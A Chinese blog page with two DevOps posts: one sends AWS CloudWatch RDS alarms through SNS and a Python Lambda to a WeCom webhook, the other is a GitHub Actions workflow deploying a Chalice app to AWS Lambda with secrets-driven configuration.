接下来，按照 AWS 官方关于监控的最佳实践 的说法，我们还需要继续监控如下几个 Metrics: DatabaseConnections, EBSByteBalance%, EBSIOBalance%, FreeableMemory, FreeLocalStorage, FreeStorageSpace, MaximumUsedTransactionIDs, ReadLatency, ReplicaLag, WriteLatency, DBLoad, AuroraVolumeBytesLeftTotal, AuroraBinlogReplicaLag, BlockedTransactions, BufferCacheHitRatio, EngineUptime, RollbackSegmentHistoryListLength 和 StorageNetworkThroughput，注意：这些 Metrics 不一定都同时都有的，没有的自然就跳过就好了。

创建 SNS topic

接下来，我们需要创建一个 SNS 主题，用于接收 CloudWatch 的告警消息。具体步骤如下:

• 进入 SNS 服务，点击 “创建主题”。
• 输入主题名称和显示名称，然后点击 “创建主题”。
• 记下主题的 ARN(Amazon Resource Name)，后面会用到。

编写 Lambda function

现在，我们来编写一个 Lambda 函数，用于解析 SNS 消息并发送到企业微信。以下是 Python 代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

import json
import os
from http.client import HTTPSConnection

def lambda_handler(event, context):
    qywx_robot_url = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key="
    token = os.environ['WX_TOKEN']
    send_url = qywx_robot_url + token
    headers = {
        'Content-Type': 'application/json'
    }

    context = ""
    try:
        message = json.loads(event['Records'][0]['Sns']['Message'])
        print(message)

        # 提取报警细节
        AlarmName = message['AlarmName']
        AlarmDescription = message['AlarmDescription']
        AWSAccountId = message['AWSAccountId']
        NewStateValue = message['NewStateValue']
        NewStateReason = message['NewStateReason']
        StateChangeTime = message['StateChangeTime']
        Region = message['Region']

        # 提取触发报警的指标信息
        Trigger = message['Trigger']
        Namespace = Trigger['Namespace']
        MetricName = Trigger['MetricName']

        # 构建报警详情
        detail = f"Alarm Details:\n" \
                 f"- Alarm Name: {AlarmName}\n" \
                 f"- Alarm Description: {AlarmDescription}\n" \
                 f"- AWS Account ID: {AWSAccountId}\n" \
                 f"- Region: {Region}\n" \
                 f"- Namespace: {Namespace}\n" \
                 f"- Metric Name: {MetricName}\n" \
                 f"- New State: {NewStateValue}\n" \
                 f"- State Change Time: {StateChangeTime}\n" \
                 f"- Reason for State Change: {NewStateReason}"

        title = '<font color=\"warning\">[AWS CloudWatch Alarm]</font>'

        content = f"{title}\n\n{detail}"

    except Exception as e:
        print('CloudWatch 事件告警解析异常,请检查 Lambda 代码')
        print(str(e))
        content = "CloudWatch 事件告警解析异常,请检查 Lambda 代码\n" + str(e)

    msg = {
        "msgtype": 'markdown',
        "markdown": {'content': content}
    }

    conn = HTTPSConnection("qyapi.weixin.qq.com")
    conn.request("POST", "/cgi-bin/webhook/send?key=" + token, body=json.dumps(msg), headers=headers)
    response = conn.getresponse()
    print('已发送消息到企业微信')
    return response.read().decode()

代码解释

在代码中，我们首先解析 SNS 消息，提取报警的各种细节，如报警名称、描述、账号 ID、区域、指标名称等。然后构建一个 Markdown 格式的消息内容，并通过企业微信的 Webhook 接口发送出去。

注意，你需要将代码中的 WX_TOKEN 替换为你自己的企业微信机器人 Token。

Lambda 函数的核心逻辑就是解析 SNS 消息，提取关键信息，然后构建企业微信消息并发送。通过使用 Markdown 格式，我们可以让消息内容更加美观和易读。

还有，为什么这里用 http.client 而不是更常用的 requests，那是因为前者是 Python 3.x 自带的模块而后者不是，所以用后者的话还需要单独再安装，这在 lambda 里就不能用直接在 web console 直接写代码这种方便明了的方式了，而是还需要在本地找个环境，把需要的包（requests）安装好，打成包，再上传上去。相对这要麻烦太多了。

将 SNS topic 与 Lambda function 绑定

最后一步，我们需要将 SNS topic 与 Lambda function 关联起来。这样，当 CloudWatch 触发告警时，就会自动通过 SNS 的 topic 内容驱动调用 Lambda fuction，进而发送消息到企业微信。

• 进入 Lambda function 的详情页面，点击 “添加触发器”。
• 选择 “SNS”，然后选择之前创建的 SNS topic。
• 点击 “添加”，完成关联。
• 至此，我们就完成了使用 CloudWatch 监控 RDS 并通过企业微信报警的整个方案。当 RDS 出现异常时，你就可以第一时间收到企业微信通知，及时处理问题了。

结语

通过本文，我们学习了如何使用 AWS CloudWatch 监控 RDS，并通过 SNS、Lambda 和企业微信实现报警功能。这个方案可以帮助我们及时发现和解决 RDS 的各种问题，提高系统的可用性和稳定性。

大家好，我是老杨。在这篇文章中，我将带大家深入了解如何利用 GitHub Action 自动化部署 Chalice 应用到 AWS Lambda。这不仅是一个技术实践，也是对 CI/CD 流程优化的一次探索。

在现代软件开发中，快速迭代和持续部署是提高开发效率的关键。Chalice 是一个用于部署 Python 应用到 AWS Lambda 的框架，而 GitHub Action 提供了一个强大的自动化平台。结合这两者，我们可以创建一个无缝的部署流程。

Chalice 简介

Chalice 是一个 Python 框架，它使得在 AWS Lambda 和 API Gateway 上部署无服务器应用变得简单。它允许开发者使用熟悉的 Python 语法来定义 Lambda 函数和 RESTful API，同时提供了丰富的配置选项来满足不同的部署需求。

GitHub Action 工作流详解

让我们来看一下这个工作流的核心内容。以下是一个简化的工作流文件示例，它展示了如何配置和执行部署任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121

name: Deploy xxxxx-indexer manually using Chalice
run-name: Deploy xxxxx-indexer ${{ inputs.branch }}->${{ inputs.environment }} by @${{ github.actor }}

on:
  workflow_dispatch:
    inputs:
      branch:
        description: 'Branch to deploy'
        required: true
        default: 'v1.1'
      environment:
        description: 'Deployment environment'
        required: true
        default: 'dev'
        type: choice
        options:
          - prod
          - dev

env:
  env_vars: '{"prod": "1111", "dev": "2222"}'
  project_directory: 'xxxx-indexer'

jobs:
  deploy-job:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout code
        uses: actions/checkout@v4
        with:
          token: ${{ secrets.TOKEN_CICD }}
          ref: ${{ github.event.inputs.branch }}
          sparse-checkout: ${{ env.project_directory }}
          sparse-checkout-cone-mode: false

      - name: Delete configuration files for chalice
        run: |
          [[ -e ${{ env.project_directory }}/.chalice ]] && \
            rm -rf ${{ env.project_directory }}/.chalice

      - name: Checkout configuration files for CI/CD
        uses: actions/checkout@v4
        with:
          repository: xxxx-xxxx/CICD
          token: ${{ secrets.TOKEN_CICD }}
          ref: main
          sparse-checkout: chalice/${{ env.project_directory }}
          sparse-checkout-cone-mode: false
          path: config-chalice

      - name: Make a symbolic(soft) link
        run: |
          ln -srv \
             config-chalice/chalice/${{ env.project_directory }}/.chalice \
             ${{ env.project_directory }}/
          echo "after checkout CI/CD:"
          ls -lRa ${{ env.project_directory }}

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.9'

      - uses: actions/cache@v4
        with:
          path: ~/.cache/pip
          key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }}
          restore-keys: |
            ${{ runner.os }}-pip-

      - name: Install dependencies
        run: |
          cd ${{ env.project_directory }}
          pip install -r requirements.txt
          pip install chalice

      - name: Prepare the .chalice/config.json
        run: |
          cd ${{ env.project_directory }}
          sed -e "s:___GH-REF___:${{ github.event.inputs.branch }}:g" \
              -e "s/___GH-COMMIT-ID___/$(git log -1 --format='%H')/g" \
              -e "s/___DBPASSWORD___/${{ secrets[format('DB_PWD_{0}', fromJson(env.env_vars)[github.event.inputs.environment])] }}/g" \
              -e "s:___GH-REPOSITORY___:${{ github.repository }}:g" \
              -e "s:___GH-DIRECTORY___:${{ env.project_directory }}:g" \
              -i .chalice/config.json
          echo "the content of file .chalice/config.json:"
          cat .chalice/config.json

      - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          aws-region: ${{ vars[format('AWS_REGION_{0}', fromJson(env.env_vars)[github.event.inputs.environment])] }}
          aws-access-key-id: ${{ secrets[format('AWS_ACCESS_KEY_ID_{0}', fromJson(env.env_vars)[github.event.inputs.environment])] }}
          aws-secret-access-key: ${{ secrets[format('AWS_SECRET_ACCESS_KEY_{0}', fromJson(env.env_vars)[github.event.inputs.environment])] }}

      - name: Deploy Chalice
        id: deploy-step
        run: |
          cd ${{ env.project_directory }}
          chalice deploy --stage ${{ github.event.inputs.environment }}

      - name: Check for files changed
        id: git_status
        run: |
          cd config-chalice/chalice/${{ env.project_directory }}/.chalice
          git status -s
          file_changed=$(if git status -s | grep -q "deployed/${{ github.event.inputs.environment }}.json"; then echo 'true'; else echo 'false'; fi)
          echo "changed=${file_changed}" >> $GITHUB_OUTPUT

      - name: Commit and push changes
        if: ${{ steps.git_status.outputs.changed == 'true' }}
        run: |
          cd config-chalice/chalice/${{ env.project_directory }}/.chalice
          git config --local user.email "contact@xxx.xxx"
          git config --local user.name "contact-xxx"
          git config --local pull.rebase false
          git add deployed/${{ github.event.inputs.environment }}.json
          git commit -m "Update deployed files at $(date)"
          git pull
          git push